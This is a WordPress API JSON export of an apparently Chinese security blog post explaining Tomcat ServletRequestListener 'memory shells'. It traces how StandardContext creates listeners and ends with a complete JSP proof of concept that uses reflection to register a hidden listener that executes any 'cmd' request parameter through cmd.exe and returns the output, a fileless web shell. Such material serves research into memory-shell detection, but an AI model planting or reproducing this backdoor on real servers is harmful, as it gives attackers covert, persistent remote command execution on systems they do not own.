{"id":351,"date":"2026-08-11T20:12:50","date_gmt":"2026-08-11T12:12:50","guid":{"rendered":"https:\/\/arknight.wiki\/?p=351"},"modified":"2026-08-11T20:12:50","modified_gmt":"2026-08-11T12:12:50","slug":"listener%e5%86%85%e5%ad%98%e9%a9%ac","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/08\/11\/listener%e5%86%85%e5%ad%98%e9%a9%ac\/","title":{"rendered":"Listener\u5185\u5b58\u9a6c"},"content":{"rendered":"

Listener\u5185\u5b58\u9a6c<\/h1>\n

listener\u662f\u4ec0\u4e48\uff1a\u7b80\u5355\u6765\u8bf4Listener\uff08\u76d1\u542c\u5668\uff09\u5c31\u662f\u4e00\u4e2a\u5b9e\u73b0\u7279\u5b9a\u63a5\u53e3\u7684\u666e\u901ajava\u7a0b\u5e8f\uff0c\u8fd9\u4e2a\u7a0b\u5e8f\u4e13\u95e8\u7528\u4e8e\u76d1\u542c\u53e6\u4e00\u4e2ajava\u5bf9\u8c61\u7684\u65b9\u6cd5\u8c03\u7528\u6216\u5c5e\u6027\u6539\u53d8\uff0c\u5f53\u88ab\u76d1\u542c\u5bf9\u8c61\u53d1\u751f\u4e0a\u8ff0\u4e8b\u4ef6\u540e\uff0c\u76d1\u542c\u5668\u67d0\u4e2a\u65b9\u6cd5\u5c06\u7acb\u5373\u88ab\u6267\u884c\u3002Listener\u5e38\u7528\u4e8eGUI\u5e94\u7528\u7a0b\u5e8f\u4e2d\uff0c\u6211\u4eec\u7684\u5185\u5b58\u9a6c\u4e3b\u8981\u6d89\u53ca\u5230\u7684\u662fServletRequestListener<\/strong>(\u7531\u4e8e\u5176\u5728\u6bcf\u6b21\u8bf7\u6c42\u4e2d\u90fd\u4f1a\u89e6\u53d1)<\/p>\n

\u793a\u4f8b\uff1a<\/p>\n

@WebListener\n\/\/ \u8fd9\u91cc\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528WebListener\uff0c\u4e5f\u53ef\u4ee5\u5728web.xml\u8fdb\u884c\u914d\u7f6e\npublic class ListenerShell implements ServletRequestListener {\n    public void requestDestroyed(ServletRequestEvent sre) {\n        System.out.println(\"requestDestroyed......\");\n    }\n\n    public void requestInitialized(ServletRequestEvent sre) {\n        System.out.println(\"requestInitialized......\");\n    }\n}<\/code><\/pre>\n
\u7136\u540e\u6211\u4eec\u901a\u8fc7\u5728class\u5904\u6253\u65ad\u70b9\u8ddf\u8e2a\u5806\u6808\u6765\u5206\u6790\u4e00\u4e2alistener\u662f\u600e\u6837\u88ab\u521b\u5efa\u7684\u3002<\/p>\n
\u666e\u901aListener\u521b\u5efa\u8fc7\u7a0b\u5206\u6790\uff1a<\/h2>\n
\"\"<\/div><\/p>\n
            if (ok && !this.listenerStart()) {\n                log.error(sm.getString(\"standardContext.listenerFail\"));\n                ok = false;\n            }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u662f\u8c03\u7528\u4e86listenerStart()<\/code>\u65b9\u6cd5\uff0c\u6211\u4eec\u8ddf\u8fdb\u8fd9\u4e2a\u65b9\u6cd5<\/p>\n
    public boolean listenerStart() {\n        if (log.isTraceEnabled()) {\n            log.trace(\"Configuring application event listeners\");\n        }\n\n        String[] listeners = this.findApplicationListeners();\n        Object[] results = new Object[listeners.length];\n        boolean ok = true;\n\n        for(int i = 0; i < results.length; ++i) {\n            if (this.getLogger().isTraceEnabled()) {\n                this.getLogger().trace(\" Configuring event listener class '\" + listeners[i] + \"'\");\n            }\n\n            try {\n                String listener = listeners[i];\n                results[i] = this.getInstanceManager().newInstance(listener);\n            } catch (Throwable t) {\n                Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);\n                ExceptionUtils.handleThrowable(throwable);\n                this.getLogger().error(sm.getString(\"standardContext.applicationListener\", new Object[]{listeners[i]}), throwable);\n                ok = false;\n            }\n        }\n\n        if (!ok) {\n            this.getLogger().error(sm.getString(\"standardContext.applicationSkipped\"));\n            return false;\n        } else {\n            List<Object> eventListeners = new ArrayList();\n            List<Object> lifecycleListeners = new ArrayList();\n\n            for(Object result : results) {\n                if (result instanceof ServletContextAttributeListener || result instanceof ServletRequestAttributeListener || result instanceof ServletRequestListener || result instanceof HttpSessionIdListener || result instanceof HttpSessionAttributeListener) {\n                    eventListeners.add(result);\n                }\n\n                if (result instanceof ServletContextListener || result instanceof HttpSessionListener) {\n                    lifecycleListeners.add(result);\n                }\n            }\n\n            eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));\n            this.setApplicationEventListeners(eventListeners.toArray());\n\n            for(Object lifecycleListener : this.getApplicationLifecycleListeners()) {\n                lifecycleListeners.add(lifecycleListener);\n                if (lifecycleListener instanceof ServletContextListener) {\n                    this.noPluggabilityListeners.add(lifecycleListener);\n                }\n            }<\/code><\/pre>\n
\u5148\u6765\u770b\u4e0b\u9762\u8fd9\u6bb5\uff1a<\/p>\n
\"\"<\/div><\/p>\n
\u8fd9\u6bb5\u4ee3\u7801\u662f\u5148\u7528findApplicationListeners()<\/code>\u65b9\u6cd5\u628a\u6240\u6709\u8981\u521b\u5efa\u7684listener\u67e5\u51fa\u6765\uff0c\u518d\u4e00\u4e2a\u4e2a\u5b9e\u4f8b\u5316\uff0c\u5b9e\u4f8b\u5316\u51fa\u6765\u7684\u5bf9\u8c61\u653e\u8fdbresults\u5bf9\u8c61\u6570\u7ec4\u3002<\/p>\n
\u7136\u540e\u770b\u4e0b\u9762\u8fd9\u6bb5\uff1a<\/p>\n
\"\"<\/div><\/p>\n
\u8fd9\u6bb5\u4ee3\u7801\u7684\u610f\u601d\u5927\u6982\u5c31\u662f\u5224\u65ad\u6bcf\u4e2aresult\u91cc\u9762\u7684Listener\u7684\u5b9e\u4f8b\u662f\u5426\u662fServletContextAttributeListener<\/code>\u3001ServletRequestAttributeListener<\/code>\u3001ServletRequestListener<\/code>\u3001HttpSessionIdListener<\/code>\u3001HttpSessionAttributeListener<\/code>\u4e2d\u7684\u5176\u4e2d\u4e00\u79cd\uff0c\u5982\u679c\u662f\u7684\u8bdd\u5c31\u628aListener\u5b9e\u4f8b\u6dfb\u52a0\u5230eventListeners\u4e2d\u3002<\/p>\n
\u7136\u540e\u6700\u540e\u4e00\u5c0f\u6bb5\uff1a<\/p>\n
\"\"<\/div><\/p>\n
\u8c03\u7528getApplicationEventListeners()<\/code>\u628a\u8fd4\u56de\u7ed3\u679c\u653e\u8fdbeventListeners\uff0c\u7136\u540e\u66f4\u65b0\u76d1\u542c\u5668\u5217\u8868\u3002<\/p>\n
\u7136\u540e\u53d1\u73b0StandardContext\u6709\u5f80ApplicationEventListeners\u5217\u8868\u5199\u5165\u7684\u65b9\u6cd5\uff1a<\/p>\n
    public void setApplicationEventListeners(Object[] listeners) {\n        this.applicationEventListenersList.clear();\n        if (listeners != null && listeners.length > 0) {\n            this.applicationEventListenersList.addAll(Arrays.asList(listeners));\n        }\n\n    }\n\n    public void addApplicationEventListener(Object listener) {\n        this.applicationEventListenersList.add(listener);\n    }<\/code><\/pre>\n
\u5206\u522b\u662f\u5199\u5165\u4e00\u4e2a\u76d1\u542c\u5668\u6570\u7ec4\u548c\u4e00\u4e2a\u76d1\u542c\u5668\uff0c\u6211\u4eec\u5c31\u7528\u8fd9\u4e2a\u6765\u521b\u5efa\u800c\u5df2\u76d1\u542c\u5668\u3002<\/p>\n
POC\uff1a<\/h2>\n
<%@ page contentType=\"text\/html;charset=UTF-8\" language=\"java\" %>\n<%@ page import=\"org.apache.catalina.core.StandardContext\" %>\n<%@ page import=\"java.lang.reflect.Field\" %>\n<%@ page import=\"org.apache.catalina.connector.Request\" %>\n<%@ page import=\"java.io.InputStream\" %>\n<%@ page import=\"java.util.Scanner\" %>\n<%!\n    \/\/ \u5b9a\u4e49\u4e00\u4e2a\u7b80\u5355\u7684 Servlet \u7528\u4e8e\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\n    public class MemShellListener  implements ServletRequestListener{\n        public void requestDestroyed(ServletRequestEvent sre) {\n            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();\n            String cmd = req.getParameter(\"cmd\");\n            if(cmd == null) return;\n            try {\n                InputStream in = Runtime.getRuntime().exec(new String[]{\"cmd.exe\",\"\/c\",req.getParameter(\"cmd\")}).getInputStream();\n                Scanner s = new Scanner(in).useDelimiter(\"\\a\");\n                String out = s.hasNext()?s.next():\"\";\n                Field requestF = req.getClass().getDeclaredField(\"request\");\n                requestF.setAccessible(true);\n                Request request = (Request)requestF.get(req);\n                request.getResponse().getWriter().write(out);\n            }catch (Exception ignore){ }\n        }\n    }\n\n%>\n<%\n    \/\/ \u4f7f\u7528\u53cd\u5c04\u83b7\u53d6 StandardContext \u4e0a\u4e0b\u6587\n    Field reqField = request.getClass().getDeclaredField(\"request\");\n    reqField.setAccessible(true);\n    Request req = (Request) reqField.get(request);\n    StandardContext stdContext = (StandardContext) req.getContext();\n\n    stdContext.addApplicationEventListener(new MemShellListener());\n%>\n<html>\n<head>\n    <title>Title<\/title>\n<\/head>\n<body>\n    <h1>Hello Listener<\/h1>\n<\/body>\n<\/html><\/code><\/pre>\n
\u8ddfservlet\u5185\u5b58\u9a6c\u7684\u8fc7\u7a0b\u5dee\u4e0d\u591a\uff0c\u5c31\u4e0d\u591a\u89e3\u91ca\u4e86\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
Listener\u5185\u5b58\u9a6c listener\u662f\u4ec0\u4e48\uff1a\u7b80\u5355\u6765\u8bf4Listener\uff08\u76d1\u542c\u5668\uff09\u5c31\u662f\u4e00\u4e2a\u5b9e\u73b0\u7279\u5b9a\u63a5\u53e3\u7684\u666e\u901aj […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-351","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=351"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/351\/revisions"}],"predecessor-version":[{"id":356,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/351\/revisions\/356"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}